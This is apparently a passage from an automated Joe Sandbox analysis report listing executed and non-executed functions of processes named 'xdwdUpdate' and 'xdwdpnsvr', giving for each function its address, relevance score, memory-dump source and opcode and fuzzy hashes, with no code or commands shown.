                                                                                                                                                                            • Instruction ID: a486e7d4feb5fb9a507d9d8a76f7d1f168f48f1dba15ed39d9c4598a8ae02937
                                                                                                                                                                            • Opcode Fuzzy Hash: 203ee90a254fab720f988a0b5ed64cd99c86226384536e19785ee95378a8c302
                                                                                                                                                                            • Instruction Fuzzy Hash: 4BA002276F785E01960410D73C630D4B259C9C507978B6457E95DC5E00E5AB49F30681
                                                                                                                                                                            Function 00007FFE6F7F063F Relevance: .0, Instructions: 8COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e6000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d5a08fa59cd196ace4d3f3ac2b67f5c78213376db9f5aa5fddbbaf4d65fd2704
                                                                                                                                                                            • Instruction ID: 2f467738e3aacde294050d4a6314741031647fd469d1e287c91b4fef9ed0ca4a
                                                                                                                                                                            • Opcode Fuzzy Hash: d5a08fa59cd196ace4d3f3ac2b67f5c78213376db9f5aa5fddbbaf4d65fd2704
                                                                                                                                                                            • Instruction Fuzzy Hash: 10A00223BDA85D02950410D63C534D4B2CAC9C607978B2452E95CC9A50F5DB49E20B81

                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                            Function 00007FFE6F7E0928 Relevance: 5.0, Strings: 4, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000002A.00000002.2903642400.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_42_2_7ffe6f7e0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: S;$![;$"c;$#k;
                                                                                                                                                                            • API String ID: 0-1519754266
                                                                                                                                                                            • Opcode ID: 822f43291bf8ba89e9bc7d8b51b664ffaf38e665d18ce971e484ac9a813ec2fa
                                                                                                                                                                            • Instruction ID: 9ebb05738b5fcccd7407339f38e22ca972c0ff11d2743c94e30f377caa7b28a0
                                                                                                                                                                            • Opcode Fuzzy Hash: 822f43291bf8ba89e9bc7d8b51b664ffaf38e665d18ce971e484ac9a813ec2fa
                                                                                                                                                                            • Instruction Fuzzy Hash: C4D05E17B34C6B059605AB9DB4520F8A385F6C61F32908673EA41E22A65251746BC2E2

                                                                                                                                                                            Executed Functions

                                                                                                                                                                            Function 00007FFE6F7C32F0 Relevance: 1.7, Strings: 1, Instructions: 421COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(N_^
                                                                                                                                                                            • API String ID: 0-1473827616
                                                                                                                                                                            • Opcode ID: 402ec2a38982fdbfedcdf6bfd79e2af5edc2312a14711516d307b04ed54abf73
                                                                                                                                                                            • Instruction ID: 9cd9d3303751f7ae26c9cffee2188c36d9c5caf9cd870f53df6c0930433c1a48
                                                                                                                                                                            • Opcode Fuzzy Hash: 402ec2a38982fdbfedcdf6bfd79e2af5edc2312a14711516d307b04ed54abf73
                                                                                                                                                                            • Instruction Fuzzy Hash: 26E11C6993E2DE8EF7A7572498121F53F608F12354F5941FAC489CB1E3F90D790A83A2
                                                                                                                                                                            Function 00007FFE6F7C86E8 Relevance: .4, Instructions: 376COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5a742853072031266f00b0cac6f8a8f9de2fa9999841bd54a6c298064163db56
                                                                                                                                                                            • Instruction ID: 30981b3ae457823032d9fd3ed82416238b02d81304d962f9ff93aee5d7ce6a48
                                                                                                                                                                            • Opcode Fuzzy Hash: 5a742853072031266f00b0cac6f8a8f9de2fa9999841bd54a6c298064163db56
                                                                                                                                                                            • Instruction Fuzzy Hash: 93C1E12993E6DE8FE756937898552F43BA09F56310F0901BAD488CB1F3FD0C785A8392
                                                                                                                                                                            Function 00007FFE6F7C32C0 Relevance: .2, Instructions: 218COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c4597af3a99538e81d153d6b31c2e6bcafe0675a337151be91ff2de321fe3672
                                                                                                                                                                            • Instruction ID: 7979dd9fefd4b2b8db9f3757752192c86c8c86bd6251c25ffbf737c28a3ec9ca
                                                                                                                                                                            • Opcode Fuzzy Hash: c4597af3a99538e81d153d6b31c2e6bcafe0675a337151be91ff2de321fe3672
                                                                                                                                                                            • Instruction Fuzzy Hash: 93718D28E3E1DF8EFBEA932898035FA36509F52315F54167DC88CC60F2BD0DB51A4292
                                                                                                                                                                            Function 00007FFE6F7C1729 Relevance: .1, Instructions: 139COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a38bd3c122058ee3b29630a7558d04b20722c97c5aba6e6a833aec8f1034f649
                                                                                                                                                                            • Instruction ID: 362f5e8aadbd8f4671110507987dbb78027906a0d49181eec5534945bb7641a1
                                                                                                                                                                            • Opcode Fuzzy Hash: a38bd3c122058ee3b29630a7558d04b20722c97c5aba6e6a833aec8f1034f649
                                                                                                                                                                            • Instruction Fuzzy Hash: 2B512B55D2E3CA8EE757933548252A53F605F17214F1A42FBD088CB4F3F99C681A83A2
                                                                                                                                                                            Function 00007FFE6F7C248C Relevance: 2.3, Strings: 1, Instructions: 1054COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: s.N_^
                                                                                                                                                                            • API String ID: 0-2060454134
                                                                                                                                                                            • Opcode ID: 2b5028e7bc78ea1f3a21223ccec0e20357e671240a36b280cc4b1142c439553d
                                                                                                                                                                            • Instruction ID: bbbf2704ff95ecee606b1f479d83f78d5a40f54d2607246940f96f845f97da68
                                                                                                                                                                            • Opcode Fuzzy Hash: 2b5028e7bc78ea1f3a21223ccec0e20357e671240a36b280cc4b1142c439553d
                                                                                                                                                                            • Instruction Fuzzy Hash: D3726B25F3D99E8EE794B73CC4956BE3692AF88350F910474E04ED72E2ED2CB8528741
                                                                                                                                                                            Function 00007FFE6F7C351D Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: +(N_^
                                                                                                                                                                            • API String ID: 0-1473827616
                                                                                                                                                                            • Opcode ID: 3a02bc4eff89ea1a468e89d2fb123be2a9cf139f4d1d667d815d42b7b4919999
                                                                                                                                                                            • Instruction ID: 142923c53c711c0a7d57bfbdc2fdb4c824839c8c2f1951fc505bedbd3e8226ae
                                                                                                                                                                            • Opcode Fuzzy Hash: 3a02bc4eff89ea1a468e89d2fb123be2a9cf139f4d1d667d815d42b7b4919999
                                                                                                                                                                            • Instruction Fuzzy Hash: 39513A9A81E3D94FE7932730A8752D13F754E2725871A40E7C4C6DB2E3E80D5E4AC7A2
                                                                                                                                                                            Function 00007FFE6F7CA173 Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: L
                                                                                                                                                                            • API String ID: 0-2909332022
                                                                                                                                                                            • Opcode ID: fcc439e93fc971feb30f582e312f1ad157d4cbaeaf51afdc3af7f8ce0d22880f
                                                                                                                                                                            • Instruction ID: c8efda97cac176380167d464f57f60618f80e2cd446291b10888a6f18b2de03b
                                                                                                                                                                            • Opcode Fuzzy Hash: fcc439e93fc971feb30f582e312f1ad157d4cbaeaf51afdc3af7f8ce0d22880f
                                                                                                                                                                            • Instruction Fuzzy Hash: C9011B34D39A6E8EE758AB28D8902F872A1FF48711F944078E44ED72E6DE39AC41C644
                                                                                                                                                                            Function 00007FFE6F7CD6AA Relevance: .5, Instructions: 532COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: be30bcea8172a7439cf5c0cd03a4e763da94f2790c310e09b3b79d9772272e69
                                                                                                                                                                            • Instruction ID: fdda1bf8a27ccb51b9898b3637cea54aa44a0ff15e822c6106fdefb3cd6da89a
                                                                                                                                                                            • Opcode Fuzzy Hash: be30bcea8172a7439cf5c0cd03a4e763da94f2790c310e09b3b79d9772272e69
                                                                                                                                                                            • Instruction Fuzzy Hash: 71F1C521DAD6CA4FE756A73C88162A977D29F59310F4905B6D04DC72F3FC2CA8578342
                                                                                                                                                                            Function 00007FFE6F7C26CC Relevance: .5, Instructions: 469COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 20b03c220635a726a27cd2d93ac7c0f730f3c344365d1136faa12c892dee04d6
                                                                                                                                                                            • Instruction ID: a50e34defc88b79919597848bfeeb9fbf15844c1025bbf375f654c12d4f717e0
                                                                                                                                                                            • Opcode Fuzzy Hash: 20b03c220635a726a27cd2d93ac7c0f730f3c344365d1136faa12c892dee04d6
                                                                                                                                                                            • Instruction Fuzzy Hash: 86F11125F3D89E8EE754B73CC4956BE2693AB88350F910474E04EE72E6ED2CBC528741
                                                                                                                                                                            Function 00007FFE6F7CD57D Relevance: .4, Instructions: 402COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f81d8359fe6212f30c7a2503b418adf359a7df6424cfc2f19482c3d430468ec1
                                                                                                                                                                            • Instruction ID: a3851f4b5e988055b5df77ea8536df79f9cabf340cb40179070338ebff737712
                                                                                                                                                                            • Opcode Fuzzy Hash: f81d8359fe6212f30c7a2503b418adf359a7df6424cfc2f19482c3d430468ec1
                                                                                                                                                                            • Instruction Fuzzy Hash: 56C18F26EBD99E4FEB95B73C88162F971C2AB98315F550574E40DC32E2FC2CB8578281
                                                                                                                                                                            Function 00007FFE6F7CDF8A Relevance: .2, Instructions: 237COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: d452c588281b872253f048a71aca9d7acdb334bbae5af5dcc0209349b93d3ed4
                                                                                                                                                                            • Instruction ID: 805f1376818927751f207bc80bcc7fab44e1b366ca7562065a56c5fd0b4e0f2c
                                                                                                                                                                            • Opcode Fuzzy Hash: d452c588281b872253f048a71aca9d7acdb334bbae5af5dcc0209349b93d3ed4
                                                                                                                                                                            • Instruction Fuzzy Hash: C4817225D3E2CE8FE766932458132E57B619F52310F5901BAD489CB1F3F91C786A83A2
                                                                                                                                                                            Function 00007FFE6F7C446C Relevance: .2, Instructions: 194COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6e737937b155bf19a82e37561712849a4580926fa674bffd6d7fd6da0567c394
                                                                                                                                                                            • Instruction ID: d6caf92fb38f707284c233e861fb14b9f89bd6840acdabfd8de09ef09332d729
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e737937b155bf19a82e37561712849a4580926fa674bffd6d7fd6da0567c394
                                                                                                                                                                            • Instruction Fuzzy Hash: D6519231918A5C8FDB58DF58D845BE9BBF1FF59310F1082AAD04DE3252DE34A984CB81
                                                                                                                                                                            Function 00007FFE6F7C1D27 Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 45797dc45cd3a9f8490fbe84ecff230a9dd246577c9bf37c1ccf441e75bf12d7
                                                                                                                                                                            • Instruction ID: 3eb004c50de72447ec43ccf13526ad9ffe202763857a6aeb45a7ddc83cc58b0f
                                                                                                                                                                            • Opcode Fuzzy Hash: 45797dc45cd3a9f8490fbe84ecff230a9dd246577c9bf37c1ccf441e75bf12d7
                                                                                                                                                                            • Instruction Fuzzy Hash: AE513F55E3D98F4AE74177BC54265EE6A919F82200BC044B5F1D9F72A7FC2CA8218392
                                                                                                                                                                            Function 00007FFE6F7CC0BF Relevance: .2, Instructions: 192COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8c4a4a72e25a6ec361e6e0fd19f0df44f11dcf47df76f9a054fb89dbca4ede43
                                                                                                                                                                            • Instruction ID: 0491e9429d7c6fdc5dff870e24025689fa6e72f217343992de502969c70ff397
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c4a4a72e25a6ec361e6e0fd19f0df44f11dcf47df76f9a054fb89dbca4ede43
                                                                                                                                                                            • Instruction Fuzzy Hash: 34519079D3D5CE8FEBA8DB6898166F87791EF64702F140139D40DD72E1FE18B8058681
                                                                                                                                                                            Function 00007FFE6F7C71E0 Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 8680147bb2cc703dd0179ef5b37881d2edb32066bc74d509cf59ca09a81faca1
                                                                                                                                                                            • Instruction ID: 4eaebab72a311934b909196fc5a3caf92ccdce9c0f43ec390eea379a345371d7
                                                                                                                                                                            • Opcode Fuzzy Hash: 8680147bb2cc703dd0179ef5b37881d2edb32066bc74d509cf59ca09a81faca1
                                                                                                                                                                            • Instruction Fuzzy Hash: 0D517830928A8D8FEBA4DF28D8457E977E1FF54300F10426EE84DC7295DF34A5458B82
                                                                                                                                                                            Function 00007FFE6F7C7A37 Relevance: .2, Instructions: 182COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a03970086a5fe1e2d0638a7272ce04b44e45bc185ea7c127297ba52aae065830
                                                                                                                                                                            • Instruction ID: ce92187fb26ad686ef2dba7c4f2ea2ba31fc78d6766cade9986991c28885a985
                                                                                                                                                                            • Opcode Fuzzy Hash: a03970086a5fe1e2d0638a7272ce04b44e45bc185ea7c127297ba52aae065830
                                                                                                                                                                            • Instruction Fuzzy Hash: E1519430528A8D8FEB68DF2CC8457E977D1FF58310F148269E85DC72A5DF38A9458B82
                                                                                                                                                                            Function 00007FFE6F7CC5CD Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b971061229100832e250ed883933ad63a1d88d5d53612c12ada699c470f05668
                                                                                                                                                                            • Instruction ID: d64e75b7619e043dd2e0df5421e8f13970257154c7b44d7150e1826a9b60da03
                                                                                                                                                                            • Opcode Fuzzy Hash: b971061229100832e250ed883933ad63a1d88d5d53612c12ada699c470f05668
                                                                                                                                                                            • Instruction Fuzzy Hash: 39519035D3E9CECFEB56A72888566F87BA1EF59301F4401BAD049D71E2FE2878018341
                                                                                                                                                                            Function 00007FFE6F7CBF03 Relevance: .2, Instructions: 164COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2e8e4d2de35201b454a2b7c10c3fb5b520234ccee1c40f11bc9b07382c3efdd6
                                                                                                                                                                            • Instruction ID: 9307831825b7174da0cf4c9b27dc455659504f126eb27a7585162fa506a7e25c
                                                                                                                                                                            • Opcode Fuzzy Hash: 2e8e4d2de35201b454a2b7c10c3fb5b520234ccee1c40f11bc9b07382c3efdd6
                                                                                                                                                                            • Instruction Fuzzy Hash: 31517619C3F7CE8EE72653245C611A97BA09F16312F5A01FBD488C71E3EA0D788E8356
                                                                                                                                                                            Function 00007FFE6F7CB231 Relevance: .2, Instructions: 156COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 31774d44b22c8c535a612def2984be90869f8f69c9ba810110c04cf009a33922
                                                                                                                                                                            • Instruction ID: 5ebaca1bbf9c1035adab184973c67e60af3848d9f5451f798f94e2c3ef901b35
                                                                                                                                                                            • Opcode Fuzzy Hash: 31774d44b22c8c535a612def2984be90869f8f69c9ba810110c04cf009a33922
                                                                                                                                                                            • Instruction Fuzzy Hash: 1851CC25E3E6DE8FE752532C98552A83BA0AF56310F0941BBE48CC71E3ED1D78458352
                                                                                                                                                                            Function 00007FFE6F7CACE7 Relevance: .2, Instructions: 154COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 4568f2b1507d9c1ca155a08fdc759f0e3f9fccee0abcb1c0ee2244a835e3ecf6
                                                                                                                                                                            • Instruction ID: 17ec4c7f15d737a62f84aec65e44ad1ee683a809b039bc9d646bccc1ad27e768
                                                                                                                                                                            • Opcode Fuzzy Hash: 4568f2b1507d9c1ca155a08fdc759f0e3f9fccee0abcb1c0ee2244a835e3ecf6
                                                                                                                                                                            • Instruction Fuzzy Hash: 4241FE35E3995D8FEB94FB6898566FC77E1EF58302F400479E40DD32A2EE2868458780
                                                                                                                                                                            Function 00007FFE6F7C2ED3 Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 12c1c8037175c8e6fa12f6e8216e41bf4765d9835b54eb5d0ecd02ce5d51fa0e
                                                                                                                                                                            • Instruction ID: 698da144382163514f242c5afb5eca59005268adcccfe60a4d344ca7b1d737ba
                                                                                                                                                                            • Opcode Fuzzy Hash: 12c1c8037175c8e6fa12f6e8216e41bf4765d9835b54eb5d0ecd02ce5d51fa0e
                                                                                                                                                                            • Instruction Fuzzy Hash: ED413025F3948E8EE758F72C84566FD3282EB98341F940535E04ED32E6FD2CB856C642
                                                                                                                                                                            Function 00007FFE6F7CA0AE Relevance: .1, Instructions: 139COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C6000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C6000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c6000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6a47535c723980b4229a7b02f398d78f0a9b72f798830363eefe0d922d06bf41
                                                                                                                                                                            • Instruction ID: 726978ecd12bf745091b1f89ad93a182234d4736b1cf76a24cff6e978071149d
                                                                                                                                                                            • Opcode Fuzzy Hash: 6a47535c723980b4229a7b02f398d78f0a9b72f798830363eefe0d922d06bf41
                                                                                                                                                                            • Instruction Fuzzy Hash: 6241F531D3AA9E8FE755DB7894555E8B7A0FF49311F4401B9E44DD32E3EE28A841C340
                                                                                                                                                                            Function 00007FFE6F7C2CF6 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000034.00000002.2894520351.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_52_2_7ffe6f7c0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1c36de5852f888df0977559d1dbb36c30103544db9a45938aabfcb274edab24b
